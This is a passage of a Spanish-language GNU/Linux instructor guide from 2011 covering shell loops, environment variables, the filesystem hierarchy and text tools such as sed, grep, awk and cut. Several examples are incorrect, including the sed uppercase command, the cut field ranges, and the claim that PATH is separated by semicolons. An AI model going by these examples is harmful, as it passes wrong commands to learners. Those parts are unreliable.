Nota: Este comando escribe a la salida estándar la cadena de texto que se le pasa como parámetro. Generalmente se utiliza sin opciones, es por eso que no se nombrarán en este texto.

Comando “for”Para quienes programan en otros lenguajes el comando for se comporta distinto a la clásica sentencia for. Este comando asigna de una lista de elementos, el valor a una variable y repite una lista de comandos con esa variable.Si bien la explicación puede ser un poco confusa, el concepto es bastante fácil de entender al ver un ejemplo.

for cantidad in dos tres cuatro cinco seis sietedo echo ${cantidad} elefantes se balanceaban sobre la tela de una araña echo como veían que resistía fueron a llamar a otro elefante...done

dos (...) sieteson los elementos.

cantidades la variable que iteración a iteración va tomando los valores de la lista de elementos

Diplomado de GNU/Linux30

Page 31: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

do; echo (...);donees el bloque de comandos a iterar.

Esta es la forma más simple de utilizar el comando for, pero con pocas variaciones se puede realizar cosas muy útiles, por ejemplo:

for archivo in `ls`do touch ${archivo}done

La lista de elementos se obtiene del resultado del comando ls. Es decir, primero se ejecuta ls, el cual dará el listado de todos los archivos de un directorio, y a todos esos archivos se les aplica un touch.

Nota: El comando touch cambia la fecha de modificación de un archivo a la fecha actual.

1.5 Variables

¿Cómo definir variables de entorno?. Dentro de nuestro sistema hay infinidad de estas variables cuya finalidad es configurar de alguna manera el entorno de nuestra shell, como pueden ser marcar rutas de acceso para algunos programas. Podemos asignarles valores de la siguiente forma: zxguitar@zxlaptop:~$export http_proxy=’http://192.168.2.254:3128’

Al referirse al contenido de una variable en Unix es necesario anteponer el símbolo $ al nombre de la variable. Para conocer el contenido de una variable en concreto se usará el comando ‘echo’: zxguitar@zxlaptop:~$echo $http_proxy http://192.168.2.254:3128

Para ver el contenido de las variables de entorno de nuestro sistema Linux en un momento determinado podremos usar el comando set. Obtendremos un listado de todas las variables y sus valores. Cuidado porque la lista es larga y fácilmente ocupará más de una pantalla así que les recomendamos usar: “set | more” para controlar el flujo de datos.

Manejo de Variables del Entorno ¿Variables de Entorno?Una variable de entorno (también llamadas variables de ambiente)es un objeto designado para contener información usada por una o más aplicaciones. Algunos usuarios (especialmente aquellos nuevos en GNU/Linux) encuentran esto un poco extraño o inmanejable. Sin embargo esto no es cierto: usando variables de entorno hace que cualquiera pueda cambiar una opción de configuración para una o más aplicaciones fácilmente.

Las variables son utilizadas para almacenar números, secuencias de caracteres e informaciones en general. Una Variable de Ambiente es una variable establecida por el sistema o por un usuario, en la línea de comando del sistema, y puede ser usada por

Diplomado de GNU/Linux31

Page 32: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

cualquier programa. El Linux tiene diversas variables predefinidas tales como, nombre de usuario, el directorio nombre y el nombre del sistema. El comando env genera una lista de todas las variables persistentes definidas en su shell, o sea, las variables que continúan existiendo igual después que el comando actual o script finaliza. El resultado de esa salida es mostrado a seguir:zxguitar@zxlaptop:~$ env

Definiendo variables locales Específicas de usuario

No siempre queremos definir variables de entorno globales. Por ejemplo, podríamos querer añadir /home/my_user/bin y el directorio de trabajo actual (en el cual nos encontramos), a la variable PATH, pero no queremos que todos los usuarios de nuestro sistema lo tengan en su PATH. Si queremos definir una variable localmente, debemos usar ~/.bashrc o ~/.bash_profile:

Las variables del entorno almacenan valores que describen las propiedades del entorno de trabajo. Un usuario puede definir sus propias variables o modificar las ya existentes. Para asignarle valor a una variable en el shell se emplea el operador de asignación tradicional entre el nombre de la variable y el valor asignado (no deben haber espacios intermedios).

Ej: zxguitar@zxlaptop:~$ MENSAJE=“Hola Santo Domingo”

Para acceder al valor de una variable en el shell se emplea el carácter $ seguido por el nombre de la variable. Para imprimir en la terminal el valor de una variable se puede utilizar el comando echo.

Ej: zxguitar@zxlaptop:~$echo $MENSAJE Hola Santo Domingo

Dentro de un shell se pueden ejecutar otros shells que serían hijos del primero (subshells) heredando todo o parte del entorno de trabajo del padre. Para que una variable mantenga su valor en los shells hijos es necesario indicarlo explícitamente mediante el comando export.

Ej: zxguitar@zxlaptop:~$export MENSAJE

Tanto la asignación del valor como el exportar una variable se pueden hacer a la vez: zxguitar@zxlaptop:~$export MENSAJE=“Hola Santo Domingo”

Para ver las variables del entorno definidas se puede emplear el comando set. Este además se relaciona con las opciones que es otra forma de regir el comportamiento del shell. Las opciones se activan (on) o desactivan (off). Estas se utilizan para indicar propiedades del shell muy específicas por lo que no nos vamos a detener en ellas. Si se desea conocer más al respecto se puede hacer:zxguitar@zxlaptop:~$help set | less.

Para eliminar el valor de una variable

Diplomado de GNU/Linux32

Page 33: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

zxguitar@zxlaptop:~$unset MENSAJE

En sistemas UNIX, las variables del entorno están precedidas por el carácter "$" y se ubican entre corchetes, aunque éstos no son obligatorios. Debido a la variedad en los sistemas UNIX (particularmente a las diferentes distribuciones Linux), para que se muestre el valor de una variable del entorno sólo se debe escribir uno de los siguientes comandos:

echo $VARIABLE

echo ${VARIABLE}

A continuación se proporciona una lista incompleta de las principales variables del entorno en un sistema UNIX:

Variable del entorno Descripción

$ARCH Contiene la descripción de la arquitectura del equipo.

$DISPLAY Contiene la identificación de la terminal de visualización que se utilizará en el administrador de ventanas (x11).

$HOME Muestra la ruta de acceso al directorio actual del usuario.$HOST Muestra el nombre del equipo.$LANG Muestra el código del idioma predeterminado.

$PATH Muestra una lista de rutas de acceso a los directorios que contienen archivos ejecutables, separadas por punto y coma.

$PRINTER Contiene el nombre de la impresora predeterminada. $SHELL Indica la ruta del intérprete de comandos utilizado.$USER Muestra la identificación del usuario actual.

1.6 Archivos ocultos

En linux y de hecho en cualquier sistema unix-like (basados en unix) los archivos ocultos se crean anteponiendo un punto “.” en el nombre, de ésta forma si exploramos la carpeta donde creamos ese archivo que inicia con un “.” no lo encontraremos.

zxguitar@zxlaptop:~$lszxguitar@zxlaptop:~$ls -azxguitar@zxlaptop:~$ls .bashrc

Nota: los archivos ocultos en GNU/Linux comienzan con un “.”[punto]

1.7 Completando comandos con TAB

zxguitar@zxlaptop:~$ls . [TAB][TAB]zxguitar@zxlaptop:~$ls arch[TAB]

Nota: cuando vea que dice “[TAB][TAB]” significa que debe teclear la tecla [TAB] dos veces para que complete el archivo o los archivos que comienzan con “.”. En el segundo ejemplo si tenemos dos archivos que se llamen “archivo y archivo-diferente”, la tecla [TAB] completara el nombre hasta “archivo” ya que hasta ahí, ambos nombres son iguales. Si quieres usar el otro archivo que se llama “archivo-diferente” entonces pones el

Diplomado de GNU/Linux33

Page 34: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

caractér que sigue que seria “-” y luego presionas [TAB][TAB] y en caso de no haber otro archivo que tenga otro parecido, lo completara hasta el final.

1.8 Alias

Alias permite llamar a un comando, con sus opciones, de otra forma; por ejemplo, zxguitar@zxlaptop:~$alias dir='ls -alt'

Esto permitirá sustituir el comando “ls” con sus opciones por el comando “dir”. La orden “alias” sin ninguna opción da todos los comandos que hay definidos de esa forma; y “unalias” elimina un alias.

1.9 Comando history

Este comando te da un historial de los últimos comandos utilizados, te da también un numero al lado que indica la línea donde esta. History nos da también otras opciones con el signo de admiración “!”.zxguitar@zxlaptop:~$history

Ejecuta el ultimo comandozxguitar@zxlaptop:~$!!

Ejecuta el comando #505zxguitar@zxlaptop:~$!505

Ejecuta el último comando que comenzó con “ls”zxguitar@zxlaptop:~$!ls

Lista los últimos 30 comandoszxguitar@zxlaptop:~$ history 30

1.10 Practica Básico Capitulo 1

2.0 Jerarquía de Directorios

La estructura del sistema de archivo de GNU/Linux es jerárquica, partiendo de su archivo principal (/), este tipo de estructura, similar a un árbol, nos indica donde podemos encontrar nuestros archivos.

2.1 Estructura de directorios

El Filesystem Hierarchy Standard (FHS, en español Estándar de jerarquía del sistema de archivos) es una norma que define los directorios principales y sus contenidos en el sistema operativo GNU/Linux y otros sistemas de la familia Unix. Se diseñó originalmente en 1994 para estandarizar el sistema de archivos de las distribuciones de Linux, basándose en la tradicional organización de directorios de los sistemas Unix. En 1995 se amplió el ámbito del estándar a cualquier Unix que se adhiriese voluntariamente.

El proceso de desarrollo de una jerarquía de sistema de archivos estándar comenzó en agosto de 1993 con un esfuerzo enfocado a reestructurar el archivo y la estructura Linux. El FSSTND (Estándar del Sistema de Archivos), un estándar de la jerarquía del sistema de archivos específico del sistema operativo Linux, fue liberado el 14 de

Diplomado de GNU/Linux34

Page 35: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

febrero de 1994. Revisiones posteriores fueron liberadas el 9 de octubre de 1994 y el 28 de marzo de 1995.

A principios de 1996, el objetivo de desarrollar una versión más comprensiva del FSSTND para direccionar no sólo a Linux, sino a otros sistemas derivados de UNIX, fue adoptado con la ayuda de miembros de la comunidad de desarrollo de BSD. Por consiguiente, un concentrado esfuerzo fue realizado para centrarse en hechos que fueran generales para los sistemas derivados de UNIX. En reconocimiento a esta amplitud del alcance, el nombre del estándar fue cambiado Estándar de Jerarquía del Sistema de Archivos, o FHS para abreviar.

El FHS es mantenido por el Grupo de Estándares Libres (Free Standards Group, hoy The Linux Foundation), una organización no lucrativa conformada por los principales vendedores de software y hardware, tales como: HP, Red Hat, IBM y Dell.

De todos modos, la gran mayoría de las distribuciones Linux, incluyendo aquellas desarrolladas por los miembros del Grupo de Estándares Libres (Free Standars Group), no siguen este estándar propuesto. En particular, caminos (path), expresamente creados por los redactores del FHS, como por ejemplo /srv/, no es usado extensamente. Algunos sistemas Linux rechazan el FHS en favor de un enfoque diferente, como es el caso de GoboLinux.

Desde que FHS comenzó como una iniciativa Linux, otros sistemas operativos derivados de UNIX, generalmente la han ignorado en favor de sus propios sistemas, los cuales a veces varían ampliamente. Por ejemplo, Mac OSX usa nombre como /Library, /Applications/, y /Users/ junto con la jerarquía de directorios tradicional de UNIX.

2.2 /

Directorio raíz, donde todo empieza. Para arrancar el sistema, debe estar presente lo suficiente como para montar '/usr' y otras partes co-esenciales del sistema de archivos. Esto incluye herramientas, información de configuración y del cargador de arranque (boot loader) y alguna otra información esencial al arrancar.Para habilitar la recuperación y/o la reparación del sistema, estará presente en el sistema de archivos raíz aquellas herramientas que un administrador experimentado necesitaría para diagnosticar y reconstruir un sistema dañado.Los errores del disco, que corrompen la información en el sistema de archivos '/' son un problema mayor que los errores en cualquier otra partición. Un sistema de archivos / pequeño es menos propenso a corromperse como resultado de un fallo del sistema.La principal preocupación que se usa para balancear las anteriores consideraciones, que favorecen el colocar muchas cosas en el sistema de archivos raíz, es la de mantener '/' tan pequeño como sea razonablemente posible.[sahirys@sarys ~]#ls // bin boot dev etc home libmedia mnt opt

Diplomado de GNU/Linux35

Page 36: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

root sbin tmp usr var procsys

2.3 /home/

Directorios home de los usuarios. Home es un concepto, algo estándar, bajo home esta lo que comúnmente se denominaría los directorios hogar de los usuarios, aun así es recomendable que todas las distribuciones Linux usen este lugar como la localización por defecto de los directorios hogar. En sistemas pequeños, cada directorio de usuario es uno de los subdirectorios debajo de /home, p.ej. /home/sahirys, /home/francis, /home/perpinan, etc.

2.4 /var/Información variable. El sistema necesita con frecuencia una zona de trabajo temporal. Si solo se requiere usar un espacio por un corto periodo de tiempo se puede usar '/tmp', pero muchas veces la información conviene manejarla y almacenarla en un lugar más permanente. El sistema puede sufrir una caída repentina y el contenido de '/tmp' puede ser borrado durante el arranque o depurado regularmente mediante alguna tarea periódica. Por el contrario '/var' contiene todo tipo de información alguna de ella puede ser importante. [sahirys@sarys ~]#ls /var

lib Información del estado de aplicacioneslocal Información variable del software de /usr/locallock Archivos de bloqueolog Archivos de bitácoranamed Archivos DNS, solo rednis Base de datos NISrun Archivos relevantes a procesos ejecutándosespool Directorios de trabajos en fila para realizarse después, utilizado para mantener /tmp pequeño

2.5 /usr/

Segunda jerarquía mayor. '/usr' es la segunda mayor sección del sistema de archivos.usr es información compartible, de solo lectura, esto significa que debe ser compartible entre varias maquinas que corren LINUX y no se debe escribir. Cualquier información que es local a una máquina o varía con el tiempo, se almacena en otro lugar. Ningún paquete grande (como TeX o GNUEmacs) debe utilizar un subdirectorio directo bajo '/usr', en vez, debe haber un subdirectorio dentro de '/usr/lib' (o '/usr/local/lib' si fué instalado completamente local) para ese propósito, con el sistema X Window se hace una excepción debido a un considerable precedente y a la práctica ampliamente aceptada

X11R6 Sistema X Window Version 11 release 6X386 Sistema X Windows Version 11 release 5 en plataformas X 86Bin La mayoría de los comandos de usuario

Diplomado de GNU/Linux36

Page 37: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Dict Listas de palabrasdoc Documentación misceláneaetc Configuración del Sistema (todo el site)games Juegos y binarios educacionalesinclude Archivos header incluidos por programas Cinfo Directorio primario del sistema GNU Infolib Libreríasman Manuales en líneasbin Binarios de Administración del Sistema No-Vitalesshare Información independiente de la arquitecturasrc Código fuente

/usr/local Jerarquía localLa jerarquía '/usr/local' está para ser utilizada por el administrador del sistema cuando se instale el software localmente. Necesita estar a salvo de ser sobrescrito cuando el software del sistema se actualiza. Puede ser usado por programas y por información que son compartibles entre un grupo de máquinas, pero no se encuentran en '/usr'.bin Binarios solo-localesdoc Documentación localetc Binarios de configuración solo-localgames Juegos instalados localmentelib Librerías para /usr/localinfo Páginas de info localman Jerarquías de páginas de manual para /usr/localsbin Administración del sistema solo-localscr Código fuente local.

/usr/sbin Binarios de sistema estándar no-esenciales. Este directorio contiene cualesquier binario no-esencial utilizando exclusivamente por el administrador del sistema. Los programas de administración del sistema que sean requeridos para la reparación del sistema, recuperación del sistema, montaje de /usr u otras funciones esenciales deben localizarse en /sbin en vez de aquí. Típicamente /usr/sbin contiene los deamons de red, cualquier herramienta de administración no-esencial y binarios para programas servidores no-críticos. Esto incluye los deamons de internet que son llamados por inetd (llamados in.*) tales como in.telnetd y in.fingerd y los deamons basados en rpc manejados por portmap (llamados rcp.*) tales como rcp.infsd y rcp.mountd. Estos programas servidores son utilizados cuando se entra en un estado que el System V conoce como "run level 2" (estado multi-usuario) y el "run level 3" (estado en-red) o el estado que el BSD conoce como "modo multi-usuario". En este punto se hacen disponibles los servicios para los usuarios (p. ej. soporte de impresión) y hacia otras máquinas (p. ej. exportar NFS)

/usr/share Información Independiente de Arquitectura.Cualquier especificación para /usr/share se incluirá en un documento suplementario al FSSTND. /usr/share no es necesario en la mayoría de los sistemas Linux

/usr/src

Diplomado de GNU/Linux37

Page 38: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Código fuente.Cualquier código fuente no-local debe localizarse en este directorio. El único código fuente que siempre debe localizarse en un lugar específico es el código del kernel (cuando exista o esté enlazado como parte de una estructura en /usr/include). Se pueden usar subdirectorios si se desea. El código fuente para el kernel debe siempre estar en su lugar o al menos los archivos include del código del kernel.

2.6 /opt/

Para colocar software que no fue incluida en el sistema operativo. El directorio /opt/ proporciona un área para almacenar habitualmente paquetes de software de una aplicación estática y amplia. Un paquete colocando archivos en el directorio /opt/ crea un directorio con el mismo nombre del paquete. Este directorio en su lugar guarda archivos que de otra forma estarían esparcidos por el sistema de archivos, dándole así al administrador del sistema una forma fácil de determinar el papel de cada archivo dentro de un paquete particular. Por ejemplo, si sample fuese el nombre de un paquete de software particular localizado en el directorio /opt/, todos sus archivos podrían ser emplazados en directorios dentro de /opt/sample/, tales como /opt/sample/bin/ para binarios y /opt/sample/man/ para páginas de manual. Los paquetes grandes que abarcan diferentes subpaquetes, cada uno de los cuales desempeñan una tarea específica, también se ubican dentro de /opt/, aportando a este gran paquete un modo estándar de organizarse. De este modo, el paquete sample puede tener diferentes herramientas que cada una irá en sus propios subdirectorios, tales como /opt/sample/tool1/ y /opt/sample/tool2/, cada uno de los cuales puede tener su propio bin/, man/ y otros directorios similares.

2.7 /proc/

Sistema de archivo virtual (información del kernel) Este directorio es un directorio muy especial. Es un directorio en el cual está montado un sistema de archivos virtual. En realidad muestra información que no reside en ningún dispositivo sino que es elaborada por el propio kernel. Por ello se trata de falsos archivos. Su ocupación en disco es 0. Sirve para comprobar la configuración y el funcionamiento del kernel. Lo que interesa comentar es que aquí la presentación en forma de sistema de archivos es una simulación y se hace así para que pueda ser manejada exactamente de la misma forma que si realmente estuviera contenida en directorios y archivos.Algunos de estos archivos son de solo lectura otros son de lectura y escritura y permiten cambiar la configuración del kernel sin detenerlo. Evidentemente todo ello está configurado con los permisos adecuados para mantener la seguridad del sistema.Si miramos dentro del directorio '/proc' veremos que hay un montón de directorios cuyo nombre es un número. Estos directorios representan cada uno a un proceso por su pid.

Para obtener información de la memoria[sahirys@sarys ~]#cat /proc/meminfo

Para obtener información de los discos en nuestro equipo[sahirys@sarys ~]#cat /proc/partitions

Obtener información del procesador[sahirys@sarys ~]#cat /proc/cpuinfo

Diplomado de GNU/Linux38

Page 39: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

2.8 /etc/

Configuración del sistema local-máquina. Aquí se guardan los archivos de configuración de los programas instalados, así como ciertos scripts que se ejecutan en el inicio del sistema. Los valores de estos archivos de configuración pueden ser complementados o sustituidos por los archivos de configuración de usuario que cada uno tiene en su respectivo “home” (carpeta personal).

Para leer el archivo que contiene el mensaje del día (mensaje que vemos una vez que el usuario hace login)[sahirys@sarys ~]#cd /etc;cat motd

Para ver los particiones actualmente montadas[sahirys@sarys ~]#cat mtab

Para ver los usuarios del sistema[sahirys@sarys ~]#cat passwd

2.9 /bin

Binarios de comandos esenciales disponibles para todos los usuarios. bin contiene comandos que pueden ser utilizados por ambos los usuarios y el administrador del sistema, pero que son requeridos en el modo mono-usuario (single-user mode) puede también contener comandos que son utilizados indirectamente por algunos scripts. Todos los binarios utilizables sólo por root, tales como daemons, init, getty, update, etc. Estarían localizados en /sbin ó /usr/sbin dependiendo si son o no esenciales. No habrá subdirectorios dentro de /bin. Los binarios de los comandos que no son suficientemente esenciales para estar en /bin estarán localizados en /usr/bin. Comandos como ls, cp, mv, mkdr

2.10 /sbin

Binarios del sistema esenciales. Los útiles usados por la administración del sistema (y otros comandos que sólo root utiliza) están almacenados en /sbin, /usr/sbin, y /usr/local/sbin. /sbin típicamente contiene binarios esenciales para arrancar el sistema además de los binarios en /bin. Cualquier cosa que se ejecuta después de que se sabe que /usr se ha montado (cuando no hay problemas) debería estar en /usr/sbin. Los binarios de administración de sistema sólo-locales deben estar localizados en /usr/local/sbin. Decidir que cosa va en los directorios de /sbin es sencillo: Si un usuario necesitará ejecutarlo, debe de ir en otro lado. Si sólo será ejecutado por el administrador del sistema o por root como scripts de administración, entonces debe ir en /sbin (o en /usr/sbin o en /usr/local/sbin, si el archivo no es vital para la operación del sistema). Archivos como chfn que los usuarios usan sólo ocasionalmente deben aun estar en /usr/bin. ping aunque es absolutamente necesario para el root (recuperación de la red y diagnóstico) es también frecuentemente usado por los usuarios y por esa razón debe ir en /bin. Los usuarios ordinarios no tendrán que poner ninguno de los directorios sbin en su búsqueda.

Es recomendable que los usuarios tengan permisos de lectura y ejecución en todo lo que se encuentra en /sbin excepto tal vez ciertos programas; setuid y setgid. La división entre /sbin y /bin no fue creada por motivos de seguridad o para evitar que los

Diplomado de GNU/Linux39

Page 40: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

usuarios vieran el sistema operativo, sino para proveer una buena partición entre binarios que todos usan y los que se usan, principalmente las tareas de administración. No hay ganancia inherente en seguridad en hacer que /sbin este fuera del alcance de los usuarios.

2.11 /tmp

Archivos temporales. tmp se utiliza para archivos temporales, preferentemente en un dispositivo rápido (un sistema de archivos basado en memoria por ejemplo) La "persistencia" de la información que es almacenada en /tmp es diferente de aquella que sea almacenada en /var/tmp. /tmp puede ser limpiada en cada arranque o a intervalos relativamente frecuentes. Por tanto, no se debe esperar que la información almacenada en /tmp permanezca por algún periodo largo de tiempo. Los programas deben utilizar /tmp ó /var/tmp (que era originalmente /usr/tmp) de acuerdo a los requerimientos esperados de la información, pero no deben confiar en alguna persistencia temporal particular en cualquier directorio de almacenamiento temporal. Los administradores de sistemas pueden elegir enlazar /tmp a algún otro directorio, tal como /var/tmp; esto es útil, por ejemplo, para conservar espacio en la partición raíz. Si esto se lleva a cabo, entonces la persistencia de archivos en /var/tmp debe ser al menos tan larga como la de /tmp. tmp puede estar e un disco RAM. /var/tmp no debe nunca localizarse en algún dispositivo RAM.

2.12 /boot

Este directorio contiene todo para arrancar excepto los archivos de configuración y el instalador de mapas. En su sentido más sencillo /boot es para cualquier cosa que se utiliza antes de que el kernel ejecute /sbin/init. Esto incluye sectores maestros de arranque (master boot sectors) guardados, archivos de mapeo de sectores y cualquier otra cosa que no es editada directamente a mano. Los programas necesarios para arreglar que el cargador de arranque sea capaz de arrancar un archivo (tal como el instalador de mapas [lilo]) estarán localizados en /sbin. Los archivos de configuración para cargadores de arranque podrían estar localizados en /etc. Como se expuso arriba, el kernel de Linux puede estar localizado en / ó en /boot, si se localiza en /boot, recomendamos que se le dé un nombre más descriptivo.

2.13 /mnt

Este directorio se ha provisto para que el administrador pueda montar temporalmente sistemas de archivos cuando lo necesite. El contenido de este directorio es un asunto local y no debe afectar la manera en la cual se ejecuta ningún programa. Es recomendable la no utilización de este directorio por programas de instalación, y sugerimos utilizar un directorio temporal adecuado que no esté en uso por el sistema.

2.14 /lib

Librerías compartidas y módulos de kernel esenciales. El directorio /lib contiene aquellas imágenes de las librerías compartidas que se necesitan para arrancar el sistema y ejecutar los comandos en el sistema de archivos raíz. Esto incluye /lib/libc.so.*, /lib/libm.so.*, el enlazador dinámico compartido /lib/ld.so.*, y otras librerías compartidas requeridas por binarios en /bin y /sbin. Las librerías que son necesitadas sólo por los binarios en /usr (como cualquier binario de X Window) no pertenecen a /lib. Sólo las librerías compartidas requeridas para ejecutar los binarios dentro de /bin y /sbin deben estar aquí. La librería libm.so.*

Diplomado de GNU/Linux40

Page 41: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

podría estar localizada en /usr/lib si no es requerida por nada en /bin ó /sbin. Por razones de compatibilidad, /lib/cpp necesita existir como una referencia al pre-procesador C instalado en el sistema. La localización usual del binario es /usr/lib/gcc-lib/<target>/<version>/cpp. Puede existir un enlace /lib/cpp apuntando a este binario o a cualquier otra referencia a este binario que exista en el sistema de archivos. (Por ejemplo, /usr/bin/cpp se usa frecuentemente).

2.15 Practica Básico Capitulo 2

3.0 Expresiones Regulares y flujos de texto

Una expresión regular es una forma abreviada de representar cadenas de caracteres que se ajustan a un determinado patrón. También podríamos definir como un patrón que que engloba un conjunto de secuencias de caracteres parecidos.

3.1 Comodines

Estos son meta-caracteres utilizados para cortar y facilitar las cosas mas usuales como son la selección de archivos.

? Un carácter cualquiera excepto salto de linea.[jp@oraserv5 ~]$ ls /dev/tty?

* Representa uno o mas caracteres. [jp@oraserv5 ~]$ ls /dev/tty*

.. El nivel anterior de la ubicación actual.zxguitar@zxlaptop:/etc$ cd ..zxguitar@zxlaptop:/$

. La ubicación actual, es decir, donde se encuentra. zxguitar@zxlaptop:~$ cp /etc/passwd .

| Filtro la salida de un comando por otro.zxguitar@zxlaptop:~$ cat /etc/passwd | less

|| Separador de elementos(si el 1ro. no funciona, procede con el 2do.). zxguitar@zxlaptop:~$ ls -l /dev/ || less

^ Significa inicio de lineazxguitar@zxlaptop:~$ grep “^d” /etc/passwd

$ Fin de linea (mostraría lo que termine con 's')zxguitar@zxlaptop:~$ ls -l |grep s$

[] Conjunto de caracteres admitidos. zxguitar@zxlaptop:~$ ls /dev/sda[0-9]

[^] Conjunto de caracteres no admitidos. zxguitar@zxlaptop:~$ ls /dev/sda[^0-5]

Diplomado de GNU/Linux41

Page 42: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

; En la shell se ejecuta un solo comando por línea; a menos que uses punto y coma.[jp@oraserv5 ~]$ ls -ltrh /etc/ ; date; pwd

3.2 Tuberías

Se utiliza para concatenar la salida estándar de un comando con la entrada estándar de otro.

En este ejemplo, la salida del comando se le redirecciona para que sea la entrada del comando less[root@server ~]# ls /etc/passwd |less

3.3 sed, grep y awk

sed

sed es un editor de flujo, una potente herramienta de tratamiento de texto para el sistema operativo Unix que acepta como entrada un archivo, lo lee y modifica línea a línea de acuerdo a un script, mostrando el resultado por salida estándar (normalmente en pantalla, a menos que se realice una redirección). Sed permite manipular flujos de datos, como por ejemplo cortar líneas, buscar y reemplazar texto (con soporte de expresiones regulares), entre otras cosas. Posee muchas características de “ed” y “ex”.

Ej:Reemplace todas las palabras nologin en el archivo /etc/passwd por login y guárdelo en un archivo llamado fundacion.txt.[francisco@server ~]$ sed -e 's/nologin/login/g' /etc/passwd>fundacion.txt

Cree un texto con varias lineas llamado Codigo.txt y agrégele la palabra Universidad en cada linea y guarde este archivo ya modificado con el nombre Codigo.pdf.[francisco@server ~]$ cat Codigo.txt| sed 's/^/Universidad/g' > Codigo.pdf

En el mismo archivo agregue la palabra “Fundacion” al final de cada linea[francisco@server ~]$ cat Codigo.txt| sed 's/$/Universidad/g' > Codigo.pdf

En el archivo anterior llamado Codigo.txt que creo cambie toda la minúscula por mayúscula [francisco@server ~]$ sed '1,$ s/[a-z]/[A-Z]/g' Codigo.txt

grep

grep es una utilidad de la línea de comandos escrita originalmente para ser usada con el sistema operativo Unix. Usualmente, grep toma una expresión regular de la línea de comandos, lee la entrada estándar o una lista de archivos, e imprime las líneas que contengan coincidencias para la expresión regular.Su nombre deriva de un comando en el editor de texto “ed” que tiene la siguiente forma:“g/re/p” y significa «hacer una búsqueda global para las líneas que encajen con la expresión regular (regular expression en inglés),p e imprimirlas». Hay varios argumentos que se pueden usar con grep para modificar el comportamiento por defecto.Existen otros retroacrónimos (incorrectos) para el nombre, entre ellos: General Regular Expression Parser (analizador general de expresiones regulares), General Regular

Diplomado de GNU/Linux42

Page 43: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

Expression Print(imprimir expresión regular general), y Global Regular Expression Print (imprimir expresión regular global), éste último no tan lejano de la realidad.

El comando grep (global regular expresion print) busca un patrón o cadena simple de caracteres dentro del contenido de un archivo.

Buscar la palabras que se igualen a root en el archivo /etc/passwd[francisco@server ~]$ grep -i root /etc/passwd

Visualizar cuantas veces apareces en palabra nologin en archivo /etc/passwd[francisco@server ~]$ grep -c nologin /etc/passwd

Imprimir la linea y su numero de la palabra root en el archivo /etc/passwd[francisco@server ~]$ grep -n root /etc/passwd

Imprimir las lineas que empiecen con la g en el archivo /etc/passwd[francisco@server ~]$ grep “^g” /etc/passwd

Ejecute un ls -l en el directorio actual e imprima la primera y la tercera linea

awk

Es un lenguaje de reconocimiento y procesamiento de patrones, por omisión lee la entrada estándar y escribe en la salida estándar[francisco@server ~]$ ls -s |awk '{print $1,$2}'

Imprimir la fecha y la hora del sistema en formato largo con el comando awk[francisco@server ~]$ date |awk '{print $1; print $2; print $4; print $5;}'

Cree un archivo llamado operación con dos columnas numéricas y realizas un operación de suma.[francisco@server ~]$ awk '{$1=$2+$3; print $0}' operacion

3.4 sort

El comando sort se utiliza para listar en orden alfabética o numérica, además el comando sort puede anidar uno o varios archivos. [francisco@server ~]$ sort -d text.txt

Cree un archivo llamado num.pdf que contenga un numero por fila de manera aleatoria y luego ordenelo [francisco@server ~]$ sort -n num.pdf

3.5 cut

El utilitario cut selecciona caracteres desde la entrada y lo envía a la salida estándar puede cortar columna delimitadas por tabuladores.

Crear un archivo llamado comando con varias lineas y luego cortar los primeros 3 caracteres de cada palabra.[francisco@server ~]$ cut -c 1-4 Codigo.txt

Cortar la columna 2 de archivo /etc/passwd separado por dos puntos

Diplomado de GNU/Linux43

Page 44: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

[francisco@server ~]$ cut -d ":" -f2 /etc/passwd

Visualizar las columna uno y cinco del archivo /etc/passwd[francisco@server ~]$ cut -d ":" -f1-3 /etc/passwd

3.6 expand

Este utilitario se usa para cambiar los tabuladores a un numero especifico de espacio.

Cree un archivo con dos columnas tabuladas y luego cambie la tabulación por tres espacios luego guárdelo en un archivo llamado [francisco@server ~]$ expand -t 3 Codigo.txt > tabular.txt

Cambiar el archivo a espacio de tabulación como el archivo original[francisco@server ~]$ expand -i tabular.txt > tabular02.txt

3.7 mount

El comando mount nos permite montar sistema de archivos en un dispositivo o partición.

Montar el dispositivo de cdroon en /mnt[root@server ~]# mount /dev/cdrom /mnt/

Luego desmonta este dispositivo [root@server ~]# umount /dev/cdrom /mnt/

Este procedimiento es el mismo (claro tomando en cuenta el sistema de archivo de cada disco, dispositivo o partición) para montajes y desmontajes

3.8 paste

Este utilitario paste junta las lineas correspondientes de los archivos nombrados y envía la salida a la pantalla

Fusione las líneas de estos dos archivos una al lado de la otra, separándolo con “:” y guárdela salida a otro archivo [francisco@server ~]$paste -d ":" Codigo.txt Fundacion.txt > Cod-Fundacion

nota: debe estar creado el archivo Codigo.txt y Fundacion.txt con varias columnas

Fusione todas las líneas del archivo notas en una sola línea usando como separador “:” [francisco@server ~]$ paste -d ":" -s Fundacion.txt

3.9 pr

el utilitario pr se usa para separar archivo en paginas, además es frecuentemente utilizado para enviar archivos a la impresora

Cree el archivo diplomado con varias lineas y luego modifica para impresión el archivo diplomado.txt poniendo espacio doble entre las líneas y poniéndole como cabezal "GNU" [francisco@server ~]$ pr -d -h "GNU" diplomado.txt | less

Diplomado de GNU/Linux44

Page 45: Guia GNU Instructor 2011

Fundación Código Libre Dominicanohttp://www.codigolibre.org

3.10 split

El utilitario split se utiliza para dividir archivos en piezas de igual tamaño como puede ser en megabytes, kilobytes o en lineas

